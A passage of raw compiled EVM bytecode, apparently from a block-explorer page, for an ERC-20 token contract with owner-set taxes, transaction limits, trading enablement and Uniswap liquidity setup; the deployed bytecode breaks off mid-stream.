a32565b90506005548110156109b45760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b60448201526064016106b8565b600555505050565b5f546001600160a01b031633146109e55760405162461bcd60e51b81526004016106b8906129dc565b600f6109f18284612a45565b60ff161115610a375760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b60448201526064016106b8565b6002805460ff84811661ffff199092168217610100918516918202179092556040517fe19d31e83488276725ead0f7b3d678e3564637792a6c3b4b377c6ddbc2fb32f9905f90a35050565b5f546001600160a01b03163314610aab5760405162461bcd60e51b81526004016106b8906129dc565b8080610ab45750815b15610b14576001600160a01b0383165f9081526012602052604090205460ff1615610b145760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b60448201526064016106b8565b6001600160a01b039092165f908152600d60209081526040808320805494151560ff19958616179055600e9091529020805492151592909116919091179055565b5f546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016106b8906129dc565b5f80546001600160a01b0319168155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a150565b5f546001600160a01b03163314610bf45760405162461bcd60e51b81526004016106b8906129dc565b610c006012600a61297a565b610c0e90633b9aca00612988565b600455610c1d6012600a61297a565b610c2b90633b9aca00612988565b600555565b5f546001600160a01b03163314610c595760405162461bcd60e51b81526004016106b8906129dc565b61271063ffffffff8416610c6f6012600a61297a565b610c7d90633b9aca00612988565b610c879190612988565b610c919190612a13565b60065561271063ffffffff8316610caa6012600a61297a565b610cb890633b9aca00612988565b610cc29190612988565b610ccc9190612a13565b600781905560098290556006541115610d175760405162461bcd60e51b815260206004820152600d60248201526c26b4b717a6b0bc1032b93937b960991b60448201526064016106b8565b620186a0610d276012600a61297a565b610d3590633b9aca00612988565b610d3f9190612a13565b60075411610d7d5760405162461bcd60e51b815260206004820152600b60248201526a4d617820746f6f206c6f7760a81b60448201526064016106b8565b600a610d8a60128261297a565b610d9890633b9aca00612988565b610da29190612a13565b60075410610de15760405162461bcd60e51b815260206004820152600c60248201526b09ac2f040e8dede40d0d2ced60a31b60448201526064016106b8565b505050565b5f610df03361195b565b610e0c5760405162461bcd60e51b81526004016106b89061299f565b610e173384846119be565b9392505050565b828114610e6d5760405162461bcd60e51b815260206004820152601860248201527f41727261792073697a657320696e636f6d70617469626c65000000000000000060448201526064016106b8565b6013546201000090046001600160a01b03163314610ec45760405162461bcd60e51b81526020600482015260146024820152731058d8d95cdcc81a5cc81c995cdd1c9a58dd195960621b60448201526064016106b8565b5f5b81811015610f5b57610f4833868684818110610ee457610ee4612a5e565b9050602002016020810190610ef991906126fc565b612710610f086012600a61297a565b610f1690633b9aca00612988565b878787818110610f2857610f28612a5e565b90506020020135610f399190612988565b610f439190612a13565b6119be565b5080610f5381612a72565b915050610ec6565b5050505050565b5f546001600160a01b03163314610f8b5760405162461bcd60e51b81526004016106b8906129dc565b60135460ff1615610fd05760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106b8565b6064610fde6012600a61297a565b610fec90633b9aca00612988565b610ff7906003612988565b6110019190612a13565b61100c906001612a32565b60055414611018575f80fd5b6013805460ff191660019081179091554360038190555f549154600160b81b830460ff90811693600160b01b9004169161105191612a32565b61105b9190612a32565b6110659190612a32565b6001556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b5f546001600160a01b031633146110bb5760405162461bcd60e51b81526004016106b8906129dc565b6013805461ff0019166101001790556110d53330836119be565b5060646110e46012600a61297a565b6110f290633b9aca00612988565b6110fd906054612988565b6111079190612a13565b81101561114f5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e74206c697175696469747960501b60448201526064016106b8565b60135460ff16156111945760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106b8565b5f3411806111a157505f47115b6111ed5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016106b8565b305f908152600b602052604090205481111561124b5760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420746f6b656e7320696e20636f6e74726163740060448201526064016106b8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561129b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bf9190612a8a565b6001600160a01b031663e6a4390530737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561131e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113429190612a8a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561138b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113af9190612a8a565b601180546001600160a01b0319166001600160a01b0392909216918217905561155857737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611422573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114469190612a8a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114c99190612a8a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015611513573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115379190612a8a565b601180546001600160a01b0319166001600160a01b03929092169190911790555b305f908152600b602052604081205461157a91671bc16d674ec8000090611f75565b6008546011546001600160a01b03165f908152600b6020526040812080549091906115a69084906129c9565b909155505060115460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290515f926001600160a01b0316916115f091612aa5565b5f604051808303815f865af19150503d805f8114611629576040519150601f19603f3d011682016040523d82523d5f602084013e61162e565b606091505b505090508061167f5760405162461bcd60e51b815260206004820152601760248201527f4661696c656420616464696e67206c697175696469747900000000000000000060448201526064016106b8565b6011546001600160a01b03165f908152601260205260409020805460ff19168215151790556116b0601485856124ae565b50506013805461ff0019169055505050565b5f546001600160a01b031633146116eb5760405162461bcd60e51b81526004016106b8906129dc565b6001600160a01b0382165f9081526012602052604090205460ff1615801561172b57506001600160a01b0381165f9081526012602052604090205460ff16155b6117775760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c657400000000000000000060448201526064016106b8565b601080546001600160a01b039384166001600160a01b03199182168117909255600f8054939094169216919091179091555f908152600d60209081526040808320805460ff199081166001908117909255600e909352922080549091169091179055565b5f546001600160a01b031633146118045760405162461bcd60e51b81526004016106b8906129dc565b5f80546001600160a01b0319166001600160a01b038316908117909155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a15050565b5f546001600160a01b031633146118895760405162461bcd60e51b81526004016106b8906129dc565b5f6118948284612ac0565b90505f8161ffff16116118db5760405162461bcd60e51b815260206004820152600f60248201526e0416c6c2063616e6e6f74206265203608c1b60448201526064016106b8565b6002805461ffff838116600160301b0267ffff0000000000001986831662010000810263ffff000019948a1664010000000081029590951665ffffffff000019909616959095179490941716179092556040519091907fa64acb81f7c509a0769bd28477680f1d8bd3408d1b2251db9fce52b34fa839cb905f90a3505050565b6013545f90819060ff16156119725750600161066c565b6001600160a01b0383165f908152600d602052604090205460ff1680156119b057506001600160a01b0383165f908152600e602052604090205460ff165b1561066c5750600192915050565b5f6001600160a01b038416611a155760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016106b8565b60135460ff16611a79576001600160a01b0384165f908152600d602052604090205460ff168015611a5d57506001600160a01b0384165f908152600e602052604090205460ff165b611a795760405162461bcd60e51b81526004016106b89061299f565b601354610100900460ff16158015611aa857506001600160a01b0383165f9081526012602052604090205460ff165b8015611ab5575060065482115b8015611ad55750600954600a8054905f611ace83612a72565b9190505510155b15611ae257611ae261205a565b60015443108015611af557506003544310155b8015611b1857506001600160a01b0384165f9081526012602052604090205460ff165b15611b7857326001600160a01b0384161480611b3e5750600f546001600160a01b031632145b611b785760405162461bcd60e51b815260206004820152600b60248201526a13515588189b1bd8dad95960aa1b60448201526064016106b8565b6001600160a01b0384163014801590611b9a57506001600160a01b0383163014155b8015611bb357505f546001600160a01b03858116911614155b15611c0357611bc38484846121ca565b611c035760405162461bcd60e51b815260206004820152601160248201527054582065786365656473206c696d69747360781b60448201526064016106b8565b5f611c0f85858561228d565b90505f611c1c82856129c9565b6001600160a01b0387165f908152600b6020526040902054909150611c429085906129c9565b6001600160a01b0387165f908152600b602052604081209190915560088054849290611c6f908490612a32565b90915550506001600160a01b0385165f908152600b6020526040902054611c97908290612a32565b6001600160a01b038087165f818152600b602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cea9088815260200190565b60405180910390a350600195945050505050565b611d078161240c565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611d3a57611d3a612a5e565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611daa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dce9190612a8a565b81600181518110611de157611de1612a5e565b6001600160a01b039283166020918202929092010152601054604051635c11d79560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d92635c11d79592611e3a9287925f9288929116904290600401612ae2565b5f604051808303815f87803b158015611e51575f80fd5b505af1158015611e63573d5f803e3d5ffd5b505050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004015f604051808303818588803b158015611ec4575f80fd5b505af1158015611ed6573d5f803e3d5ffd5b505060105460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018690527f0000000000000000000000000000000000000000000000000000000000000000909116935063a9059cbb925060440190506020604051808303815f875af1158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612b51565b5050565b600f546001600160a01b03168115611f8a57505f5b611f938461240c565b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d7198430876064611fbd826063612988565b611fc79190612a13565b6040516001600160e01b031960e087901b1681526001600160a01b039384166004820152602481019290925260448201526064810188905290851660848201524260a482015260c40160606040518083038185885af115801561202c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906120519190612b6c565b50505050505050565b6013805461ff0019166101001790556008546006548110801590612080575060135460ff165b156121b857600754811061209357506007545b600280545f919061ffff600160301b82048116916120bb916401000000009091041685612988565b6120c59190612a13565b6120cf9190612a13565b90505f6120dc82846129c9565b90506120ea6012600a61297a565b8111156121a457305f908152600b6020526040812080544792869291612111908490612a32565b90915550612120905082611cfe565b8360085f82825461213191906129c9565b909155505f905061214282476129c9565b600254909150640100000000900461ffff16156121a1576002545f9061ffff600160301b820481169161217f916401000000009091041684612988565b6121899190612a13565b90506121948561240c565b61219f85825f611f75565b505b50505b4780156121b4576121b481611e6b565b5050505b505f600a556013805461ff0019169055565b6013545f9060019060ff1680156121f957506001600160a01b0385165f908152600e602052604090205460ff16155b801561221d57506001600160a01b0384165f908152600e602052604090205460ff16155b156107485760045483111561223357505f610748565b6001600160a01b0384165f9081526012602052604090205460ff1615801561227e57506005546001600160a01b0385165f908152600b602052604090205461227c908590612a32565b115b1561074857505f949350505050565b6013545f90819060ff1615806122ba57506001600160a01b0385165f908152600d602052604090205460ff165b806122dc57506001600160a01b0384165f908152600d602052604090205460ff165b156122e857505f610748565b6001600160a01b0385165f9081526012602052604090205460ff16156123c1575f5460035460ff600160b81b830481169261232e92600160b01b90910490911690612a32565b6123389190612a32565b4310612362576002546064906123519060ff1685612988565b61235b9190612a13565b9050610748565b5f5460035461237b91600160b01b900460ff1690612a32565b431061239a575f5460649061235190600160a81b900460ff1685612988565b60035443106123bc575f5460649061235190600160a01b900460ff1685612988565b610748565b6001600160a01b0384165f9081526012602052604090205460ff1615610748576002546064906123f990610100900460ff1685612988565b6124039190612a13565b95945050505050565b305f908152600c60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156124ab57305f818152600c60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b828054828255905f5260205f209081019282156124ff579160200282015b828111156124ff5781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906124cc565b5061250b92915061250f565b5090565b5b8082111561250b575f8155600101612510565b5f5b8381101561253d578181015183820152602001612525565b50505f910152565b602081525f8251806020840152612563816040850160208701612523565b601f01601f19169190910160400192915050565b6001600160a01b03811681146124ab575f80fd5b5f806040838503121561259c575f80fd5b82356125a781612577565b946020939093013593505050565b5f805f606084860312156125c7575f80fd5b83356125d281612577565b925060208401356125e281612577565b929592945050506040919091013590565b803560ff81168114612603575f80fd5b919050565b80151581146124ab575f80fd5b5f8060408385031215612626575f80fd5b61262f836125f3565b9150602083013561263f81612608565b809150509250929050565b803561ffff81168114612603575f80fd5b5f806040838503121561266c575f80fd5b6126758361264a565b91506126836020840161264a565b90509250929050565b5f806040838503121561269d575f80fd5b6126a6836125f3565b9150612683602084016125f3565b5f805f606084860312156126c6575f80fd5b83356126d181612577565b925060208401356126e181612608565b915060408401356126f181612608565b809150509250925092565b5f6020828403121561270c575f80fd5b8135610e1781612577565b803563ffffffff81168114612603575f80fd5b5f805f6060848603121561273c575f80fd5b61274584612717565b925061275360208501612717565b9150604084013590509250925092565b5f8083601f840112612773575f80fd5b50813567ffffffffffffffff81111561278a575f80fd5b6020830191508360208260051b85010111156127a4575f80fd5b9250929050565b5f805f80604085870312156127be575f80fd5b843567ffffffffffffffff808211156127d5575f80fd5b6127e188838901612763565b909650945060208701359150808211156127f9575f80fd5b5061280687828801612763565b95989497509550505050565b5f805f60408486031215612824575f80fd5b833567ffffffffffffffff81111561283a575f80fd5b61284686828701612763565b909790965060209590950135949350505050565b5f806040838503121561286b575f80fd5b823561287681612577565b9150602083013561263f81612577565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156128d457815f19048211156128ba576128ba612886565b808516156128c757918102915b93841c939080029061289f565b509250929050565b5f826128ea5750600161066c565b816128f657505f61066c565b816001811461290c576002811461291657612932565b600191505061066c565b60ff84111561292757612927612886565b50506001821b61066c565b5060208310610133831016604e8410600b8410161715612955575081810a61066c565b61295f838361289a565b805f190482111561297257612972612886565b029392505050565b5f610e1760ff8416836128dc565b808202811582820484141761066c5761066c612886565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b8181038181111561066c5761066c612886565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f82612a2d57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561066c5761066c612886565b60ff818116838216019081111561066c5761066c612886565b634e487b7160e01b5f52603260045260245ffd5b5f60018201612a8357612a83612886565b5060010190565b5f60208284031215612a9a575f80fd5b8151610e1781612577565b5f8251612ab6818460208701612523565b9190910192915050565b61ffff818116838216019080821115612adb57612adb612886565b5092915050565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015612b305784516001600160a01b031683529383019391830191600101612b0b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f60208284031215612b61575f80fd5b8151610e1781612608565b5f805f60608486031215612b7e575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212209eda87f751599fe478343f1795559aeac6d38a7b1fb6f2507f3ff6c4570969f564736f6c63430008140033000000000000000000000000b4415931c76ef362237627f9352f3746a53794bc0000000000000000000000006da60c53d429774fd2f237cd9d1f2de64a2a882b

Deployed Bytecode

0x6080604052600436106101de575f3560e01c8063715018a6116100fd578063c633bda611610092578063e8ba854f11610062578063e8ba854f14610595578063f2fde38b146105b4578063f8978401146105d3578063f8b45b05146105f2575f80fd5b8063c633bda61461050b578063c9567bf91461052a578063cc04e2da1461053e578063dd62ed3e14610551575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104b257806395d89b41146101e9578063a9059cbb146104d8578063c3f70b52146104f7575f80fd5b8063715018a614610434578063751039fc1461044857806380b213511461045c5780638d3e6e401461047b575f80fd5b806346b898341161017357806357ff135a1161014357806357ff135a146103735780635a90a49e146103925780636373ea69146103c957806370a0823114610400575f80fd5b806346b898341461031557806347062402146103295780634d4ce935146103405780634fcd244614610354575f80fd5b80632b14ca56116101ae5780632b14ca56146102985780632fb528ba146102c2578063313ce567146102e3578063368f4800146102f6575f80fd5b806306fdde03146101e9578063095ea7b31461022857806318160ddd1461025757806323b872dd14610279575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b50604080518082018252600881526726b4b630b23caa2b60c11b6020820152905161021f9190612545565b60405180910390f35b348015610233575f80fd5b5061024761024236600461258b565b610606565b604051901515815260200161021f565b348015610262575f80fd5b5061026b610672565b60405190815260200161021f565b348015610284575f80fd5b506102476102933660046125b5565b610692565b3480156102a3575f80fd5b50600254610100900460ff165b60405160ff909116815260200161021f565b3480156102cd575f80fd5b506102e16102dc366004612615565b610750565b005b3480156102ee575f80fd5b5060126102b0565b348015610301575f80fd5b506102e161031036600461265b565b61087c565b348015610320575f80fd5b5060065461026b565b348015610334575f80fd5b5060025460ff166102b0565b34801561034b575f80fd5b5060075461026b565b34801561035f575f80fd5b506102e161036e36600461268c565b6109bc565b34801561037e575f80fd5b506102e161038d3660046126b4565b610a82565b34801561039d575f80fd5b506102476103ac3660046126fc565b6001600160a01b03165f908152600d602052604090205460ff1690565b3480156103d4575f80fd5b506002546040805161ffff6201000084048116825264010000000090930490921660208301520161021f565b34801561040b575f80fd5b5061026b61041a3660046126fc565b6001600160a01b03165f908152600b602052604090205490565b34801561043f575f80fd5b506102e1610b55565b348015610453575f80fd5b506102e1610bcb565b348015610467575f80fd5b506102e161047636600461272a565b610c30565b348015610486575f80fd5b506102476104953660046126fc565b6001600160a01b03165f908152600e602052604090205460ff1690565b3480156104bd575f80fd5b505f546040516001600160a01b03909116815260200161021f565b3480156104e3575f80fd5b506102476104f236600461258b565b610de6565b348015610502575f80fd5b5060045461026b565b348015610516575f80fd5b506102e16105253660046127ab565b610e1e565b348015610535575f80fd5b506102e1610f62565b6102e161054c366004612812565b611092565b34801561055c575f80fd5b5061026b61056b36600461285a565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b3480156105a0575f80fd5b506102e16105af36600461285a565b6116c2565b3480156105bf575f80fd5b506102e16105ce3660046126fc565b6117db565b3480156105de575f80fd5b506102e16105ed36600461265b565b611860565b3480156105fd575f80fd5b5060055461026b565b335f818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106609086815260200190565b60405180910390a35060015b92915050565b5f61067f6012600a61297a565b61068d90633b9aca00612988565b905090565b5f61069c8461195b565b6106c15760405162461bcd60e51b81526004016106b89061299f565b60405180910390fd5b6001600160a01b0384165f908152600c602090815260408083203384529091529020545f191461073d576001600160a01b0384165f908152600c602090815260408083203384529091529020546107199083906129c9565b6001600160a01b0385165f908152600c602090815260408083203384529091529020555b6107488484846119be565b949350505050565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016106b8906129dc565b6013805461ff001916610100179055606460ff831611156107dc5760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742073776170206d6f7265207468616e203130302500000000000060448201526064016106b8565b305f908152600b60205260408120546064906107fc9060ff861690612988565b6108069190612a13565b90506108146012600a61297a565b8111156108245761082481611cfe565b811561086c5747806108615760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016106b8565b61086a47611e6b565b505b50506013805461ff001916905550565b5f546001600160a01b031633146108a55760405162461bcd60e51b81526004016106b8906129dc565b5f6103e861ffff84166108ba6012600a61297a565b6108c890633b9aca00612988565b6108d29190612988565b6108dc9190612a13565b6108e7906001612a32565b90506004548110156109285760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b60448201526064016106b8565b60048190555f6103e861ffff84166109426012600a61297a565b61095090633b9aca00612988565b61095a9190612988565b6109649190612a13565b61096f906001612a32565b90506005548110156109b45760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b60448201526064016106b8565b600555505050565b5f546001600160a01b031633146109e55760405162461bcd60e51b81526004016106b8906129dc565b600f6109f18284612a45565b60ff161115610a375760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b60448201526064016106b8565b6002805460ff84811661ffff199092168217610100918516918202179092556040517fe19d31e83488276725ead0f7b3d678e3564637792a6c3b4b377c6ddbc2fb32f9905f90a35050565b5f546001600160a01b03163314610aab5760405162461bcd60e51b81526004016106b8906129dc565b8080610ab45750815b15610b14576001600160a01b0383165f9081526012602052604090205460ff1615610b145760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b60448201526064016106b8565b6001600160a01b039092165f908152600d60209081526040808320805494151560ff19958616179055600e9091529020805492151592909116919091179055565b5f546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016106b8906129dc565b5f80546001600160a01b0319168155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a150565b5f546001600160a01b03163314610bf45760405162461bcd60e51b81526004016106b8906129dc565b610c006012600a61297a565b610c0e90633b9aca00612988565b600455610c1d6012600a61297a565b610c2b90633b9aca00612988565b600555565b5f546001600160a01b03163314610c595760405162461bcd60e51b81526004016106b8906129dc565b61271063ffffffff8416610c6f6012600a61297a565b610c7d90633b9aca00612988565b610c879190612988565b610c919190612a13565b60065561271063ffffffff8316610caa6012600a61297a565b610cb890633b9aca00612988565b610cc29190612988565b610ccc9190612a13565b600781905560098290556006541115610d175760405162461bcd60e51b815260206004820152600d60248201526c26b4b717a6b0bc1032b93937b960991b60448201526064016106b8565b620186a0610d276012600a61297a565b610d3590633b9aca00612988565b610d3f9190612a13565b60075411610d7d5760405162461bcd60e51b815260206004820152600b60248201526a4d617820746f6f206c6f7760a81b60448201526064016106b8565b600a610d8a60128261297a565b610d9890633b9aca00612988565b610da29190612a13565b60075410610de15760405162461bcd60e51b815260206004820152600c60248201526b09ac2f040e8dede40d0d2ced60a31b60448201526064016106b8565b505050565b5f610df03361195b565b610e0c5760405162461bcd60e51b81526004016106b89061299f565b610e173384846119be565b9392505050565b828114610e6d5760405162461bcd60e51b815260206004820152601860248201527f41727261792073697a657320696e636f6d70617469626c65000000000000000060448201526064016106b8565b6013546201000090046001600160a01b03163314610ec45760405162461bcd60e51b81526020600482015260146024820152731058d8d95cdcc81a5cc81c995cdd1c9a58dd195960621b60448201526064016106b8565b5f5b81811015610f5b57610f4833868684818110610ee457610ee4612a5e565b9050602002016020810190610ef991906126fc565b612710610f086012600a61297a565b610f1690633b9aca00612988565b878787818110610f2857610f28612a5e565b90506020020135610f399190612988565b610f439190612a13565b6119be565b5080610f5381612a72565b915050610ec6565b5050505050565b5f546001600160a01b03163314610f8b5760405162461bcd60e51b81526004016106b8906129dc565b60135460ff1615610fd05760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106b8565b6064610fde6012600a61297a565b610fec90633b9aca00612988565b610ff7906003612988565b6110019190612a13565b61100c906001612a32565b60055414611018575f80fd5b6013805460ff191660019081179091554360038190555f549154600160b81b830460ff90811693600160b01b9004169161105191612a32565b61105b9190612a32565b6110659190612a32565b6001556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b5f546001600160a01b031633146110bb5760405162461bcd60e51b81526004016106b8906129dc565b6013805461ff0019166101001790556110d53330836119be565b5060646110e46012600a61297a565b6110f290633b9aca00612988565b6110fd906054612988565b6111079190612a13565b81101561114f5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e74206c697175696469747960501b60448201526064016106b8565b60135460ff16156111945760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106b8565b5f3411806111a157505f47115b6111ed5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016106b8565b305f908152600b602052604090205481111561124b5760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420746f6b656e7320696e20636f6e74726163740060448201526064016106b8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561129b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bf9190612a8a565b6001600160a01b031663e6a4390530737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561131e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113429190612a8a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561138b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113af9190612a8a565b601180546001600160a01b0319166001600160a01b0392909216918217905561155857737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611422573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114469190612a8a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114c99190612a8a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015611513573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115379190612a8a565b601180546001600160a01b0319166001600160a01b03929092169190911790555b305f908152600b602052604081205461157a91671bc16d674ec8000090611f75565b6008546011546001600160a01b03165f908152600b6020526040812080549091906115a69084906129c9565b909155505060115460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290515f926001600160a01b0316916115f091612aa5565b5f604051808303815f865af19150503d805f8114611629576040519150601f19603f3d011682016040523d82523d5f602084013e61162e565b606091505b505090508061167f5760405162461bcd60e51b815260206004820152601760248201527f4661696c656420616464696e67206c697175696469747900000000000000000060448201526064016106b8565b6011546001600160a01b03165f908152601260205260409020805460ff19168215151790556116b0601485856124ae565b50506013805461ff0019169055505050565b5f546001600160a01b031633146116eb5760405162461bcd60e51b81526004016106b8906129dc565b6001600160a01b0382165f9081526012602052604090205460ff1615801561172b57506001600160a01b0381165f9081526012602052604090205460ff16155b6117775760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c657400000000000000000060448201526064016106b8565b601080546001600160a01b039384166001600160a01b03199182168117909255600f8054939094169216919091179091555f908152600d60209081526040808320805460ff199081166001908117909255600e909352922080549091169091179055565b5f546001600160a01b031633146118045760405162461bcd60e51b81526004016106b8906129dc565b5f80546001600160a01b0319166001600160a01b038316908117909155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a15050565b5f546001600160a01b031633146118895760405162461bcd60e51b81526004016106b8906129dc565b5f6118948284612ac0565b90505f8161ffff16116118db5760405162461bcd60e51b815260206004820152600f60248201526e0416c6c2063616e6e6f74206265203608c1b60448201526064016106b8565b6002805461ffff838116600160301b0267ffff0000000000001986831662010000810263ffff000019948a1664010000000081029590951665ffffffff000019909616959095179490941716179092556040519091907fa64acb81f7c509a0769bd28477680f1d8bd3408d1b2251db9fce52b34fa839cb905f90a3505050565b6013545f90819060ff16156119725750600161066c565b6001600160a01b0383165f908152600d602052604090205460ff1680156119b057506001600160a01b0383165f908152600e602052604090205460ff165b1561066c5750600192915050565b5f6001600160a01b038416611a155760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016106b8565b60135460ff16611a79576001600160a01b0384165f908152600d602052604090205460ff168015611a5d57506001600160a01b0384165f908152600e602052604090205460ff165b611a795760405162461bcd60e51b81526004016106b89061299f565b601354610100900460ff16158015611aa857506001600160a01b0383165f9081526012602052604090205460ff165b8015611ab5575060065482115b8015611ad55750600954600a8054905f611ace83612a72565b9190505510155b15611ae257611ae261205a565b60015443108015611af557506003544310155b8015611b1857506001600160a01b0384165f9081526012602052604090205460ff165b15611b7857326001600160a01b0384161480611b3e5750600f546001600160a01b031632145b611b785760405162461bcd60e51b815260206004820152600b60248201526a13515588189b1bd8dad95960aa1b60448201526064016106b8565b6001600160a01b0384163014801590611b9a57506001600160a01b0383163014155b8015611bb357505f546001600160a01b03858116911614155b15611c0357611bc38484846121ca565b611c035760405162461bcd60e51b815260206004820152601160248201527054582065786365656473206c696d69747360781b60448201526064016106b8565b5f611c0f85858561228d565b90505f611c1c82856129c9565b6001600160a01b0387165f908152600b6020526040902054909150611c429085906129c9565b6001600160a01b0387165f908152600b602052604081209190915560088054849290611c6f908490612a32565b90915550506001600160a01b0385165f908152600b6020526040902054611c97908290612a32565b6001600160a01b038087165f818152600b602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cea9088815260200190565b60405180910390a350600195945050505050565b611d0781